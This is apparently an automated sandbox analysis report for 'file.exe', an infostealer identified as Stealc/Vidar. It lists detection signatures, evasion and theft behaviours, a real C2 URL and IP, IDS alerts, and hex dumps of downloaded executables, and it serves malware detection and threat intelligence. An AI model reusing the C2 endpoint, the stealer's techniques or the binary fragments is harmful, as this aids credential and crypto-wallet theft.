Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1545110
MD5:	6e874fc2bc875fdf946b61b7b83b1f9f
SHA1:	3415ad2375d7d5550007390499ef1ba82bb676b7
SHA256:	3970ffd30d3044c224700ab6584a10212b9a5fb0b9d5be438e9078fa76e111d2
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7256 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 6E874FC2BC875FDF946B61B7B83B1F9F)

chrome.exe (PID: 7484 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7756 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2320,i,17426783220369495163,5867397490255039380,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: Vidar

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2109583289.0000000000C11000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2110649970.0000000001A17000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1711896895.0000000005670000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2110649970.00000000019BE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7256	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7256	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7256	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7256	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.c10000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7256, ParentProcessName: file.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7484, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T06:16:05.783934+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T06:16:05.777205+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T06:16:06.060484+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T06:16:07.196690+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T06:16:06.101192+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T06:16:05.494284+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T06:16:07.744086+0100	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-30T06:16:25.973637+0100	2803304	3	Unknown Traffic	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-30T06:16:29.380173+0100	2803304	3	Unknown Traffic	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-30T06:16:31.153184+0100	2803304	3	Unknown Traffic	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-30T06:16:32.188234+0100	2803304	3	Unknown Traffic	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-30T06:16:34.473416+0100	2803304	3	Unknown Traffic	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-30T06:16:35.156749+0100	2803304	3	Unknown Traffic	192.168.2.4	49758	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.c10000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 0.2.file.exe.c10000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C506C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C506C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6C65A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C654440 PK11_PrivDecrypt,	0_2_6C654440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C624420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6C624420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6544C0 PK11_PubEncrypt,	0_2_6C6544C0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:50018 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2134386349.000000006C56D000.00000002.00000001.01000000.00000010.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2134941060.000000006C7F1000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2109583289.0000000000C3C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1711896895.000000000569B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2134941060.000000006C7F1000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2109583289.0000000000C3C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1711896895.000000000569B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2134386349.000000006C56D000.00000002.00000001.01000000.00000010.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 18MB later: 41MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 05:16:07 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 05:16:25 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 05:16:29 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 